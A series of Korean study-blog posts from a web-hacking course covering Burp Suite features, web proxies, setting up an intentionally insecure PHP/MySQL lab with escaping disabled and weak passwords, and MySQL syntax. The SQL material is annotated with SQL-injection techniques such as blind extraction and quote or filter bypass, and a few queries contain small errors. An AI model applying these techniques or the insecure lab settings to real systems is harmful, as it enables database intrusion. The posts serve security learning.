Intercept On, Off(인터셉트 On Off) → Ctrl + T

Forward(패킷 전송) → Ctrl + F

Repeater(단일 패킷 확인, 사용자 입력값 테스트) → Ctrl + R

Issue Repeater request(Repeater Send, 사용자 입력값 전달) → Ctrl + Space

Intruder(자동화 도구) → Ctrl + I

Intercept On Off로 패킷을 잡는데는 시간이 오래걸리므로, Repeater를 활용하여 단일 패킷을 확인한다.

Repeater에서 원하는 패킷을 잡고 Repeater Send를 사용하여 사용자 입력값을 서버로 전송하여 응답을 확인한다.

리피터는 수동 제어 및 HTTP 요청을 재요청하고 어플리케이션 응답을 분석해준다.

취약점 진단을 위한 입력 파라미터 조작, 요청 재발행 등의 목적으로 활용이 가능하다.

(파라미터 값을 admin 에서 test로 변경하는 등 활용)

Intruder - 자동화 도구, 특정 파라미터에 순차적으로 번호를 입력, 딕셔너리 공격 등 활용 가능

Python 같은 언어로 스크립트를 작성해서 자동화 프로그램 작성이 가능하면 굳이 사용할 필요가 없다.

Decoder - 인코딩, 디코딩, Hash 등을 변환해준다.

기능 설명

Proxy: 브라우저와 서버 사이 트래픽 가로채기
Intruder: 자동화된 취약점 공격 및 fuzzing
Repeater: 요청 재전송 및 수동 테스트
Decoder: 인코딩/디코딩 도구
Comparer: 요청/응답 비교
Extender: 확장 기능 설치
Scanner (Pro): 자동 취약점 스캐닝

참고

https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9

https://blog.naver.com/crehacktive3/221954903403

https://youtu.be/JhF-Z_w7xkI

웹 해킹에 대한 이해

Security Engineer — Sat, 23 Nov 2024 22:00:26 +0900

웹 해킹이란 무엇인가?

웹 서비스 상에서 발생될 수 있는 모든 보안 허점을 이용해 악의적인 행위를 하는 것

= 웹 어플리케이션 해킹

웹 어플리케이션이란?

= 웹 프로그래밍 언어(JSP, PHP, ASP 등)로 작성된 프로그램, 어플리케이션

= 웹 브라우저를 통해서 방문하는 웹 사이트

그림1 - 웹 해킹

해커들의 타겟, 웹 서비스

방화벽 도입 후 웹 해킹 빈도가 높아졌다.

방화벽은 IP와 Port를 기반으로 패킷을 필터링 한다.

→ OSI 7계층의 3,4계층

웹 서비스(대외 서비스) : HTTP(80), HTTPS(443)

그 외 서비스: SSH(22), Telnet(23), FTP(21) 등

웹 서비스를 제외한 나머지 서비스는 굳이 필요하지 않으므로 방화벽에서 차단한다.

그러므로 웹 서비스에 대한 공격이 들어올 수 밖에 없고, 그에 대한 연구가 진행될 수 밖에 없다.

→ 웹 해킹

그림2 - 웹 서비스

웹 해킹을 통한 피해 영역

클라이언트 영역 → XSS

1차 침투(대외 서비스) → 웹 해킹, 데이터베이스 열람 및 개인정보 탈취

2차 침투(대내 서비스) → 터널링을 통한 침투, 대내 서비스 웹 해킹(기업 내 중요정보, 대외비 정보, 직원 정보 등)

3차 침투(오피스 망) → 개인 PC에 랜섬웨어, 악성코드 감염

그림3 - 웹 해킹을 통한 피해 영역

웹 해킹이 발생하는 원인

입력 값 검증 부재 → Injection, XSS

취약한 인증 및 접근 통제 → 비인가자에 의한 관리자 페이지 접근

중요정보 노출 → 웹 프록시 도구를 통한 중요정보 노출, 웹 서버 자체의 과도한 에러 메시지

부적절한 설정 → 세션 타임아웃

서버/프레임워크 취약점 → WAS(IIS, WebLogic, JEUS)취약점, Apache Struts 취약점, WEB-INF

설계 오류 → 설계 자체 오류에 의한 취약점

그림4 - 웹 해킹이 발생하는 원인

웹 해킹 필수 도구, 웹 프록시

프록시란 무엇인가?

- 클라이언트와 서버의 통신 구간 중간에 위치하여 중계자 역할을 한다.

- 대리로 통신을 수행하는 기능을 가진다.

클라이언트(요청) - 서버(응답) 직접 통신하는 경우도 있지만, 중간에 프록시를 거쳐서 통신하는 경우도 있다.

프록시 종류

- Forward, Reverse, Open

그림5 - 프록시

웹 프록시 구조

웹 프록시란?

- 웹 통신을 할때 사용되는 프록시

웹 프록시를 통한 통신 순서

1. 브라우저에서 프록시 설정을 통해 웹 프록시로 요청을 보낸다.

2. 웹 프록시가 요청 메시지를 받은 후 서버로 전달한다.

3. 서버의 응답을 웹 프록시가 받은 후 브라우저로 전달한다.

웹 해킹 시 웹 브라우저에서 전달되는 요청 메시지의 특정값을 변조하거나, 서버에서 전달되는 응답 메시지를 변조한다.

- 웹 프록시 도구를 통해 클라이언트의 요청 메시지를 수정한다. (파라미터, 쿠키)

- 웹 프록시 도구를 통해 서버의 응답 메시지를 수정한다. (바디 값)

그림6 - 웹 프록시

웹 프록시 종류

버프 스위트(Burp Suite): 가장 많이 사용되는 웹 프록시로 다양한 확장 기능을 사용할 수 있다.

파로스(Paros): 간단한 인터페이스로 입문자 용으로 적합하다.

피들러(Fiddler): 개발자들이 많이 사용하고 있다.

ZAP: OWASP 프로젝트에서 제공되는 웹 프록시로 점차 사용자가 늘고 있다.

웹 브라우저를 믿지 말라. 오직 웹 프록시 요청에 의한 응답만을 믿어라.

→ 웹 브라우저는 디테일한 보안 테스팅이 어렵다.

→ 웹 프록시 도구를 활용하여 상세 분석

참고

https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9

취약 환경 구축

Security Engineer — Fri, 22 Nov 2024 22:00:25 +0900

취약 환경 구축

기존에 XAMPP를 APM Setup 대신 사용하여 MySQL 실습을 진행하였으나, XAMPP로 취약 환경 구축 시 강의와 환경이 달라 에러가 발생하여, 강의와 동일한 환경 구축을 위해서 APM Setup으로 환경 구축을 다시한다.

그림1 - APM Setup 설치 완료

설치 후 C:\APM_Setup 경로의 php.ini 파일 내 magic_quotes_gpc 를 Off 로 변경해준다.

magic_quotes_gpc는 GET, POST, 쿠키 등 사용자 입력값을 이스케이프 처리를 해준다는 의미다.

' 를 입력하면 \' 가 출력된다는 의미이다.

그림2 - 이스케이프 문이 적용된 test'

magic_quotess_gpc = Off 로 변경 후 Apache를 재기동한다.

APM Setup 콘솔 Server status의 Apache를 Stop 후 다시 Start 한다.

그림3 - magic_quotess_gpc = Off 로 변경

Apache 재기동 후 접속 하면 아래와 같이 test' 가 그대로 출력된 것을 확인할 수 있다.

그림4 - 이스케이프문이 해제된 test'

실습을 위해서 MySQL 패스워드를 초기화해야 한다.

APM Setup으로 설치 시 MySQL 초기 패스워드는 apmsetup이다.

CMD 창을 열고 cd C:\APM_Setup를 입력하여 APM_Setup 폴더로 이동한다.

→ 굳이 APM_Setup 폴더로 이동할 필요없이 바로 로그인해도 된다.

mysql -u root -p 입력 후 apmsetup을 입력하여 mysql에 로그인한다.

그림5 - MySQL 로그인

update mysql.user set password=password('test') where user='root';

→ root 계정의 패스워드를 test로 변경한다.

flush privileges;

→ DBMS에 변경된 패스워드 적용

exit 후 다시 mysql -u root -p 입력하여 로그인

변경된 패스워드 test 입력 후 로그인

그림6 - MySQL 패스워드 변경 후 로그인

강의 내 취약 환경 구축 자료 다운로드 후 C:\APM_Setup\htdocs 폴더 내에 압축 해제한다.

압축 해제 후 common.php 내 mysql 패스워드를 test로 변경해준다.

그림7 - common.php 파일 mysql 패스워드 변경

그림8 - test 로 패스워드 변경

insecure_website 폴더 내 query.txt 쿼리들을 복사해서 MySQL CMD 창에 그대로 붙여넣는다.

쿼리 복붙 후 DB, 테이블 생성 및 데이터 입력이 완료되면 insecure 홈페이지에 접속을 시도한다.

그림9 - MySQL에 DB, 테이블 생성 및 데이터 입력 완료

브라우저에서 127.0.0.1/insecure_website 입력하여 접속을 시도

아래와 같이 정상적으로 접속이 된다.

그림10 - insecure 웹사이트 접속

우측 상단의 Join을 클릭하여 관리자 계정을 생성한다.

ID: admin

PW: admin

그림11 - insecure 웹 사이트 관리자 계정 생성

관리자 계정 생성 후 로그인

그림12 - 관리자 계정으로 로그인

관리자 계정으로 로그인 후 우측 상단의 Write 버튼을 클릭하여 게시글을 작성한다.

그림13 - 게시글 작성(1)

test 라는 게시글을 작성 후 비밀번호도 test 로 설정 후 Write 버튼을 클릭하여 작성 완료한다.

그림14 - 게시글 작성(2)

test 게시글이 작성 완료되었다.

해당 게시글 클릭 후 Modify 버튼을 클릭하면 수정이 가능하며, 게시글 작성 시 입력했던 비밀번호를 입력하면 된다.

그림15 - 게시글 작성 완료

그림16 - 게시글 수정(1)

제목과 내용을 변경 후 비밀번호를 입력하고 Modify를 클릭하면 게시글 변경이 완료된다.

그림17 - 게시글 수정(2)

게시글 수정 후 Delete 를 클릭하면 삭제도 가능하다.

그림18 - 게시글 삭제

참고

https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9

SQL 기본 문법과 활용

Security Engineer — Sun, 17 Nov 2024 22:00:36 +0900

CREATE, DROP 구문

CREATE 구문 - 데이터베이스 생성

CREATE DATEABASE [DB_NAME];

CREATE DATABASE test_db;

CREATE 구문 - 테이블 생성

CREATE TABLE [NAME] ([COLUMN_NAME] [DATA_TYPE]);

CREATE TABLE test_tb (name char(20), age int);

DROP 구문 - 데이터베이스/테이블 삭제

DROP [DATABASE/TABLE] [NAME];

DROP TABLE test_tb;

실습

XAMPP 컨트롤 패널 열고 MySQL의 Start 버튼 클릭하여 시작 후 우측의 Shell 클릭하여 CMD 창 열기

그림1 - XAMPP로 MySQL 시작

mysql -u root -p 입력 후 비밀번호 입력 창에서 엔터 눌러서 로그인(비밀번호 없으므로 가능)

그림2 - MySQL 로그인

show databases; 입력하여 데이터베이스 목록 출력

create database example; 입력하여 example 이라는 데이터베이스 생성

show databases; 입력하여 생성된 데이터베이스 확인

그림3 - example 데이터베이스 생성

select database(); 입력하여 현재 선택된 데이터베이스 확인, NULL은 현재 선택된 값이 없기 때문에 출력됨.

DB 선택을 위해서 use 명령어를 사용하여 DB를 선택한다.

use example; 입력하여 example 데이터베이스 선택한다.

select database(); 입력하여 현재 선택된 데이터베이스가 example 데이터베이스 인것을 확인

그림4 - example 데이터베이스 선택

create table member(seq int, name char(20), email char(50));

→ 컬럼명 seq는 숫자, name은 문자열 20, email은 문자열 50 인 member 테이블 생성

show tables; 입력하여 member 테이블 생성 확인

그림5 - member 테이블 생성

describe 명령어 사용하여 테이블 구조를 확인할 수 있다.

describe member; 또는 desc member;를 입력하여 테이블 구조를 확인한다.

그림6 - desc 명령어로 테이블 구조 확인

INSERT, SELECT, UPDATE, DELETE 구문

INSERT 구문 - 데이터 삽입

INSERT INTO [TABLE_NAME] ([COLUMN1]...) VALUES ([DATA1]...);

INSERT INTO test_tb (name, age) VALUES ('honggildong', 55);

→ 컬럼명이 생략된 경우, 기존 컬럼명 순서대로 데이터 삽입을 의미

→ 특정 컬럼에 삽입을 원하는 경우 컬럼명 명시해야 함

SELECT 구문 - 데이터 조회

SELECT [COLUMN1] FROM [TABLE] WHERE [CONDITION];

SELECT name, age FROM test_tb;

SELECT * FROM test_tb;

SELECT name,age FROM test_tb WHERE id='admin';

→ test_tb 테이블에서 id가 admin인 사용자에 대한 name과 age값을 출력

UPDATE 구문 - 데이터 수정

UPDATE [TABLE] SET [COLUMN1]=[DATA1] WHERE [CONDITION];

UPDATE test_tb SET age=35 WHERE name='honggildong';

→ WHERE 절이 없으면 테이블의 모든 age 값이 35로 변경된다.

DELETE 구문 - 데이터 삭제

DELETE FROM [TABLE] WHERE [CONDITION];

DELETE FROM test_tb WHERE name='honggildong';

→ WHERE 절이 없으면 테이블의 모든 값이 삭제된다.

실습

insert into member(seq, name, email) values(1, 'administrator', 'administrator@test.com');

insert into member(seq, name, email) values(2, 'user', 'user@test.com');

insert into member(seq, name, email) values(3, 'guest', 'guest@test.com');

insert into member(seq, name, email) values(4, 'hong', 'hong@test.com');

insert into member(seq, name, email) values(5, 'lee', 'lee@test.com');

입력하여 각 컬럼에 데이터 삽입

select * from member; 입력하여 삽입된 데이터 확인

그림7 - insert 명령어로 데이터 삽입

select name, email from member;

→ seq를 제외한 name과 email 컬럼의 데이터를 출력한다.

select name, email from member where seq=1;

→ seq가 1인 name과 email 컬럼의 데이터를 출력한다.

그림8 - where 절 사용하여 데이터 출력하기

insert into member values(6, 'test', 'test@test.com');

→ seq는 6, name은 test, email은 test@test.com 데이터를 삽입

→ 컬럼명이 생략된 경우, 컬럼명 순서대로 데이터 삽입을 의미한다.

select * from member; 입력하여 삽입된 데이터 확인

그림9 - 컬럼명 생략하여 insert 명령어 실행

update member set name='test1' where seq=6;

→ seq가 6인 name을 test1로 변경한다.

update member set name='test1' where name='test';

→ name이 test인 name을 test1로 변경한다.

위 2개중 어느것을 사용해도 상관없다. test를 test1로 변경한다.

그림10 - udpate 명령어 사용하여 데이터 변경

delete from member where seq=6;

→ seq가 6인 레코드를 삭제

select * from member; 입력하여 데이터 삭제 확인

그림11- delete 명령어 사용하여 데이터 삭제

연산자

그림12 - SQL 연산자

연산자와 피연산자의 관계

그림13 - 연산자와 피연산자의 관계

산술 연산자

그림14 - 산술 연산자

SQL 구문으로 산술 연산이 가능하다.

select 1+4; 입력 시 답은 5가 나온다.

select 1+4*2; 입력 시 답은 9가 나온다.

그림15 - select로 산술 연산

산술 연산으로 데이터 출력하기

select * from member where seq=6-1;

→ select * from member where seq=5; 와 동일하다.

→ Injection이 발생된다는 하나의 추론이 된다.

그림16 - 산술 연산으로 데이터 출력

비교 연산자

그림17 - 비교 연산자

select * from member where seq>=2;

→ seq 가 2보다 크거나 같은 데이터를 출력

select * from member where seq !=4;

→ seq 가 4가 아닌 데이터를 출력

그림18 - 비교 연산자 사용하여 데이터 출력

논리 연산자

그림19 - 논리 연산자

NOT → True는 False로, False는 True로

AND → 둘다 True 여야 True 성립됨, 하나라도 False면 False

OR → 둘중 하나라도 True면 True 성립됨. 둘다 False 면 False

select * from member where seq=1 or seq=5;

→ seq가 1 또는 5인 데이터를 출력

select * from member where seq=5 and name='lee';

→ seq가 5 이고 name이 lee인 데이터를 출력

그림20 - OR와 AND 연산자로 데이터 출력

비트 논리 연산자

그림21 - 비트 논리 연산자

XOR = 배타적 논리합 = 둘중 하나만 True인 경우에만 True가 됨. True True 또는 False False 인 경우 False가 됨.

AND → 둘다 1이여야 1 성립됨, 하나라도 0이면 0

OR → 둘중 하나라도 1이면 1 성립됨. 둘다 0 이면 0

10진수를 2진수로 변환 후 비트 연산을 한다.

select 1&1;

→ 둘다 1이므로 True = 1

select 2&1;

→ 10과 01을 AND 연산 = 00

select 3&1;

→ 11과 01을 AND 연산 = 01

그림22 - 비트 논리 연산(1)

select 5&3;

→ 101과 011을 AND 연산 = 001

select 5|2;

→ 101 과 010을 OR 연산 = 111 = 7

비트 논리 연산자를 알아야 하는 이유

→ SQL Injection의 Blind Based SQL Injection에서 가장 많이 사용하는 방법이다.

그림23 - 비트 논리 연산(2)

연결 연산자

그림24 - 연결 연산자

피연산자 1과 2가 문자열이 사용될 때 MySQL에서 공백으로 연산자를 사용한다.

select 'te' 'st'

→ test 문자열 출력

select * from member where name='gue' 'st';

→ member 테이블에서 name이 guest인 데이터 출력

select concat('adm','inis','trator');

→ adm inis trator 문자열 합쳐서 출력

그림25 - 연결 연산자 사용하여 데이터 출력

IN 연산자

그림26 - IN 연산자

SELECT name, email FROM member WHERE id in('admin','guest');

= SELECT name, email FROM member WHERE id='admin' or id='guest';

→ OR 연산자를 여러 개를 사용하는 것 보다, IN 연산자를 사용하면 가독성이 좋으며 실행속도도 더 빠르다.

SELECT name, email FROM member WHERE id not in('admin','guest');

→ id에 admin과 guest를 제외한 레코드를 출력

select * from member where name in ('administrator', 'guest');

→ member 테이블에서 name이 administrator 또는 guest인 데이터를 출력

select * from member where name='administrator' or name='guest';

→ member 테이블에서 name이 administrator 또는 guest인 데이터를 출력

select * from member where name not in ('administrator', 'guest');

→ member 테이블에서 name이 administrator 또는 guest가 아닌 데이터를 출력

그림27 - IN 연산자 활용하여 데이터 출력

LIKE 연산자

그림28 - LIKE 연산자

LIKE 연산자 = 부분적으로 알고 있는 문자열 패턴에 대해 검색할 수 있는 연산자

웹 서비스 검색 기능에 많이 사용되며, 일부 문자만 알아도 검색이 가능하다.

% → 와일드카드

select * from member where name like '%admin%';

→ member 테이블의 name 컬럼에 admin 문자열이 포함된 데이터 출력

select * from member where name like 'gu_st';

→ member 테이블의 name 컬럼에 gu_st 만 알고 특정 문자열을 모를 때 데이터 출력

select * from member where email like '%@test.com';

→ member 테이블의 email 컬럼에 test.com으로 끝나는 이메일 주소를 가진 데이터 출력

그림29 - LIKE 연산자 사용하여 데이터 출력

함수

문자열 함수

그림30 - 문자열 함수

SUBSTRING - 문자열을 자를 때 사용하는 함수

SUBSTRB - Byte 단위로 자르는 함수

SUBSTRING은 SQL Injection 공격 시 많이 사용되는 함수이다.

Blind based Injection 에서 문자열 하나하나 추출하여 ASCII 코드로 변환 후 비트 연산 후 해당 문자를 추론하는 등 자주 사용된다. 또한 MySQL은 3개의 함수를 사용할 수 있으며, 1개의 함수를 block 해도 나머지 2개 함수로 우회가 가능하다.

select substring('test', 1, 1);

→ test 문자열의 첫번째 문자에서 1개 글자 출력

select substring('test', 2, 1);

→ test 문자열의 두번째 문자에서 1개 글자 출력

select substring('test', 3, 1);

→ test 문자열의 세번째 문자에서 1개 글자 출력

select substring('test', 2, 3);

→ test 문자열의 두번째 문자에서 3개 글자 출력

그림31- 문자열 함수로 문자열 자르기(1)

select substr('test', 1, 3);

→ test 문자열의 첫번째 문자에서 3개 글자 출력

select mid('test', 1, 3);

→ test 문자열의 첫번째 문자에서 3개 글자 출력

그림32 - 문자열 함수로 문자열 자르기(2)

문자, 아스키 코드 변환 함수

그림33 - 문자, 아스키 코드 변환 함수

ASCII 코드 → 문자 인코딩 기술

컴퓨터는 0,1 이진수만 식별 가능한데, 문자열을 컴퓨터가 인식할 수 있도록 해주는 코드가 ASCII 코드이다.

select ascii('a');

→ a 문자열을 ASCII 코드로 변환

select bin(ascii('a'));

→ a 문자열을 ASCII 코드로 변환 후 이진수로 변환

select ascii(substr('test', 1, 1));

→ test 문자열의 첫번째 문자에서 1개 글자 출력 후 ASCII 코드로 변환

select ascii(substr('test' , 2, 1));

→ test 문자열의 두번째 문자에서 1개 글자 출력 후 ASCII 코드로 변환

select ascii(substr('test', 3, 1));

→ test 문자열의 세번째 문자에서 1개 글자 출력 후 ASCII 코드로 변환

select bin(ascii(substr('test', 3, 1)));

→ test 문자열의 세번째 문자에서 1개 글자 출력 후 ASCII 코드로 변환 후 이진수로 변환

그림34 - 아스키 코드 변환하여 데이터 출력

CHAR 함수 → ASCII 코드에서 문자열로 변환

select char(97);

→ ASCII 코드 97을 문자열로 변환

select concat(char(97), char(97));

→ 2개의 ASCII 코드 97을 문자열로 변환 후 concat 함수로 합쳐서 출력

그림35 - ASCII 코드를 문자열로 변환 후 concat 함수 사용하여 문자열 합치기(1)

싱글 쿼터 ' 를 사용하지 못하는 환경에서 concat 함수를 사용하는데, 특정 문자열을 사용하고 싶을 때 concat 함수를 사용할 수 있다.

admin 문자열을 ASCII 코드로 변환 후 concat 함수 사용하여 문자열을 합친다.

select ascii('a'); → 97

select ascii('d'); → 100

select ascii('m'); → 109

select ascii('i'); → 105

select ascii('n'); → 110

select concat(char(97), char(100), char(109), char(105), char(110));

→ char 함수로 ASCII 코드 97, 100, 109, 105, 110을 문자열로 변환 후 concat 함수 사용하여 합친다.

→ admin

그림35 - ASCII 코드를 문자열로 변환 후 concat 함수 사용하여 문자열 합치기(2)

COUNT 함수

SELECT COUNT(COLUMN) FROM [TABLE]

→ TABLE에 대한 레코드 개수를 구하는 함수

select * from member;

→ member 테이블에서 전체 컬럼에 대한 레코드 출력

select count(*) from member;

→ member 테이블에서 전체 컬럼에 대한 레코드 개수 출력

COUNT 함수를 사용하여 레코드 개수를 알 수 있다.

데이터 개수를 알아야지 임계값(목표값)을 알 수 있다.

자동화 도구 사용 시 임계값 지정해서 실행하기 때문에 COUNT 함수는 SQL Injection 공격에서 유용하다.

그림36 - count 함수 사용하여 레코드 개수 출력

길이 함수

그림37 - 길이 함수

COUNT 함수와 동일하게 SQL Injection 공격 시 유용하게 사용된다.

문자열에 대한 임계값을 확인하기 위해 길이 함수가 사용된다.

레코드에 대한 임계값 확인 → COUNT 함수

데이터 길이에 대한 임계값 확인 → LENGTH 함수

select length('test');

→ test 문자열의 길이 출력

select name, length(email) from member;

→ member 테이블에서 name컬럼 출력, email 컬럼의 데이터 길이를 출력

그림38 - length 함수 사용하여 길이 출력

조건문

그림39 - 조건문

조건문 → 조건의 결과에 따라 값을 반환하는 구문

DBMS 별로 공통된 CASE WHEN 구문이 있다.

CASE WHEN 구문 사용법

그림40 - CASE WEHN 구문 사용법

select case when 1=1 then 1 else 2 end;

→ 1=1 이 참일 경우 1 출력, 거짓일 경우 2 출력

select case when 1=1 then 'True' else 'False' end;

→ 1=1 이 참일 경우 True 출력, 거짓일 경우 False 출력

select case when 1=2 then 'True' else 'False' end;

→ 1=2 가 참일 경우 True 출력, 거짓일 경우 False 출력

그림41 - CASE WHEN 구문 사용하여 출력

member 테이블의 seq 에 대해 CASE WHEN 구문 사용하기

select * from member where seq=(case when 1=1 then 1 else 2 end);

→ 1=1이 참인 경우 member 테이블에서 seq가 1인 레코드 출력

select * from member where seq=(case when 1=2 then 1 else 2 end);

→ 1=2가 거짓인 경우 member 테이블에서 seq가 2인 레코드 출력

CASE WHEN 구문은 실제 공격 시 조건문[CONDITION]에 원하는 데이터를 추론할 수 있는 공격 페이로드가 담긴다.

조건문에는 특정 DB, 특정 컬럼의 데이터를 담고 있는데, 해당 데이터가 참인지 거짓인지 결과값에 따라서 데이터를 추론할 수 있다.

그림42 - CASE WHEN 구문 사용하여 데이터 출력

서브쿼리

서브쿼리(SubQuery) 개념

그림43 - 서브쿼리 개념

SELECT, FROM, WHERE 절에 따른 서브 쿼리 명칭

그림44 - 서브쿼리 명칭

스칼라 서브쿼리 = 1개의 레코드와 1개의 컬럼만 반환한다. → 1개의 데이터만 반환가능

인라인 뷰 = 1개 이상의 테이블을 기반으로 만들어진 논리적인(가상) 테이블, 다수 컬럼 다수 레코드 반환 가능

일반 서브쿼리 = 연산자에 따라서 반환되는 레코드와 컬럼의 개수가 다르다.

서브쿼리 종류

그림45 - 서브쿼리 종류

= 사용 시 단일 행 반환

in 사용 시 다수 행 반환

스칼라 서브쿼리 사용

select name, (select version()) from member;

→ member 테이블에서 name과 버전 정보를 출력

→ 레코드 생성될 때 마다 버전 정보 같이 출력

SELECT에서 사용하는 스칼라 서브쿼리는 1개의 레코드와 1개의 컬럼만 반환 가능하다.

2개 이상 개수는 오류 발생

그림46 - 스칼라 서브쿼리 사용하여 데이터 출력(1)

select name, (select email from member where seq=a.seq) from member a;

→ member 테이블에서 name과 member 테이블(a)의 email을 출력

여러 테이블을 사용하는 경우가 있는데, 이때 테이블에 별칭(a)을 사용하지 않으면 충돌이 발생할 수 있다.

그림47 - 스칼라 서브쿼리 사용하여 데이터 출력(2)

인라인 뷰

select * from (select * from member)a;

→ a라는 별칭을 가진 member 테이블(가상 테이블) 데이터 출력

select * from (select * from member)a where a.seq=1;

→ a라는 별칭을 가진 member 테이블(가상 테이블)의 seq가 1인 데이터 출력

그림48 - 인라인 뷰 사용하여 데이터 출력

일반 서브쿼리

select * from member where seq=(select * from member where name='guest');

→ member 테이블에서 seq를 출력하는데, seq는 member 테이블에서 name이 guest인 데이터

다수 행 서브쿼리를 사용할 경우 = 대신 in 을 사용한다.

select * from member where seq in(select seq from member);

→ member 테이블에서 seq를 출력하는데, seq는 member 테이블의 seq인 데이터

그림49 - 일반 서브쿼리 사용하여 데이터 출력

ORDER BY 절을 이용한 레코드 정렬

ORDER BY절 사용법

그림50 - ORDER BY 절 사용법

ASC = 컬럼을 기준으로 오름차순, 생략 가능

DESC = 컬럼을 기준으로 내림차순

오름차순은 큰 수를 기준으로, 아래에서 위로

내림차순은 큰 수를 기준으로, 위에서 아래로

정렬은 게시판, 쇼핑몰 등에서 자주 사용된다.

select * from member order by seq asc;

→ member 테이블에서 seq를 오름차순으로 데이터 출력

→ asc는 생략이 가능

select * from member order by seq desc;

→ member 테이블에서 seq를 내림차순으로 데이터 출력

그림51 - ORDER BY 사용하여 데이터 출력

ORDER BY 절 정렬을 위해 데이터 추가

insert into member values(2, 'admin', 'admin@test.com');

→ member 테이블에 seq는 2, name은 admin, email은 admin@test.com인 데이터 삽입

그림52 - insert로 데이터 삽입

select * from member order by seq;

→ member 테이블에서 seq를 오름차순으로 데이터 출력

seq는 오름차순으로 정렬되었지만, name은 정렬되지 않았다. name도 오름차순으로 정렬해본다.

select * from member order by seq, name;

→ member 테이블에서 seq, name을 오름차순으로 데이터 출력

그림53 - ORDER BY 사용하여 2개 컬럼 데이터 정렬

컬럼이 아닌 숫자를 사용하여 정렬 가능하다.

select * from member order by 1;

→ member 테이블에서 첫번째 컬럼(seq)을 오름차순으로 데이터 출력

select * from member order by 2;

→ member 테이블에서 두번째 컬럼(name)을 오름차순으로 데이터 출력

그림54 - 숫자를 사용하여 ORDER BY 정렬

만약 SELECT 절에 seq, name 컬럼이 있는 경우 ORDER BY에 3이 인식이될까?

select seq, name from member order by 3;

→ member 테이블에서 seq와 name을 출력하는데, 세번째 컬럼을 기준으로 오름차순 정렬을 한다.

→ 첫번째, 두번째 컬럼인 seq와 name의 데이터는 출력되지만, 세번째 컬럼인 email 데이터는 없으므로 에러 발생

→ member 테이블 내 데이터 존재 여부가 아닌, SELECT에 의한 출력 여부가 중요하다.

그림55 - SELECT에 포함되지 않은 데이터 정렬 시 에러 발생

레코드 출력 개수 제한

그림56 - 레코드 출력 개수 제한 키워드

레코드 출력 개수 제한 = 특정 목록 개수만 출력 가능하도록 설정

MYSQL의 LIMIT절

그림57 - MYSQL에서 LIMIT 사용 방법

OFFSET = 시작 위치, 0부터 시작, 생략 가능

ROW_COUNT = 레코드 개수

select * from member limit 3;

→ member 테이블에서 첫번째부터 3개 레코드 출력

select * from member limit 1,4;

→ member 테이블에서 두번째부터 4개 레코드 출력

그림58 - limit 사용하여 데이터 출력

순차적 레코드 출력

select * from member limit 0,1;

→ member 테이블에서 첫번째부터 1개 레코드 출력

select * from member limit 1,1;

→ member 테이블에서 두번째부터 1개 레코드 출력

select * from member limit 2,1;

→ member 테이블에서 세번째부터 1개 레코드 출력

select * from member limit 3,1;

→ member 테이블에서 네번째부터 1개 레코드 출력

select * from member limit 4,1;

→ member 테이블에서 다섯번째부터 1개 레코드 출력

select * from member limit 5,1;

→ member 테이블에서 여섯번째부터 1개 레코드 출력

그림59 - limit 사용하여 순차적 레코드 출력

SQL 기본 문법 활용 예제

예제1 ~ 예제12

예제 풀기 전에 이전에 update로 추가한 admin 레코드를 삭제한다.

delete from member where name='admin';

예제 1) member 테이블의 name이 "guest"인 레코드를 출력하라.

예제 2) member 테이블의 name이 "guest"인 레코드의 email을 출력하라.

예제 3) member 테이블의 name이 "guest"가 아닌 레코드의 name, email을 출력하라.

예제 4) member 테이블의 name이 "lee" 또는 "hong"인 레코드를 출력하라.

예제 5) member 테이블의 name이 "lee", "hong"이 아닌 레코드를 출력하라.

예제 6) member 테이블의 seq가 2이상, 5미만인 레코드를 출력하라.

예제 7) member 테이블의 seq가 1 또는 3 또는 5인 레코드를 출력하라.

예제 8) member 테이블의 name이 "adm"으로 시작하는 레코드를 출력하라.

예제 9) member 테이블의 email이 "test.com"을 주소로 사용하는 레코드를 출력하라.

예제 10) member 테이블의 name을 레코드를 출력하라. 단, "name : 사용자명" 형식으로 출력하라.

예제 11) member 테이블의 name 값의 앞 3 문자만 출력 후 뒤에는 "###"가 붙도록 출력하라.

예제 12) member 테이블의 레코드를 seq 컬럼 기준으로 내림차순으로 정렬 후 2개의 레코드를 출력하자.

SQL 기본 문법 활용 예제 - 정답

예제 1) member 테이블의 name이 "guest"인 레코드를 출력하라.

→ select * from member where name='guest';

예제 2) member 테이블의 name이 "guest"인 레코드의 email을 출력하라.

→ select email from member where name='guest';

예제 3) member 테이블의 name이 "guest"가 아닌 레코드의 name, email을 출력하라.

→ select name, email from member where name!='guest';

예제 4) member 테이블의 name이 "lee" 또는 "hong"인 레코드를 출력하라.

→ select * from member where name='lee' or name='hong';

→ select * from member where name in('lee', 'hong');

예제 5) member 테이블의 name이 "lee", "hong"이 아닌 레코드를 출력하라.

→ select * from member where name!='lee' and name!='hong';

→ select * from member where name not in('lee', 'hong');

예제 6) member 테이블의 seq가 2이상, 5미만인 레코드를 출력하라.

→ select * from member where seq>=2 and seq<5;

예제 7) member 테이블의 seq가 1 또는 3 또는 5인 레코드를 출력하라.

→ select * from member where seq=1 or seq=3 or seq=5;

→ select * from member where seq in(1, 3, 5);

예제 8) member 테이블의 name이 "adm"으로 시작하는 레코드를 출력하라.

→ select * from member where name like 'adm%';

예제 9) member 테이블의 email이 "test.com"을 주소로 사용하는 레코드를 출력하라.

→ select * from member where email like '%test.com%';

예제 10) member 테이블의 name을 레코드를 출력하라. 단, "name : 사용자명" 형식으로 출력하라.

→ select concat('name : ', name) from member;

예제 11) member 테이블의 name 값의 앞 3 문자만 출력 후 뒤에는 "###"가 붙도록 출력하라.

→ select concat(substr(name, 1, 3), '###') from member;

예제 12) member 테이블의 레코드를 seq 컬럼 기준으로 내림차순으로 정렬 후 2개의 레코드를 출력하자.

→ select * from member order by seq desc limit 2;

→ limit 절은 제일 뒤에 작성해야 에러가 발생하지 않는다.

MySQL 화면 캡처

그림60 - 예제 1~4 정답

그림61 - 예제 5~8 정답

그림62 - 예제 9~12 정답

MySQL 주석 문자: #, --(공백), (공백)--(공백)

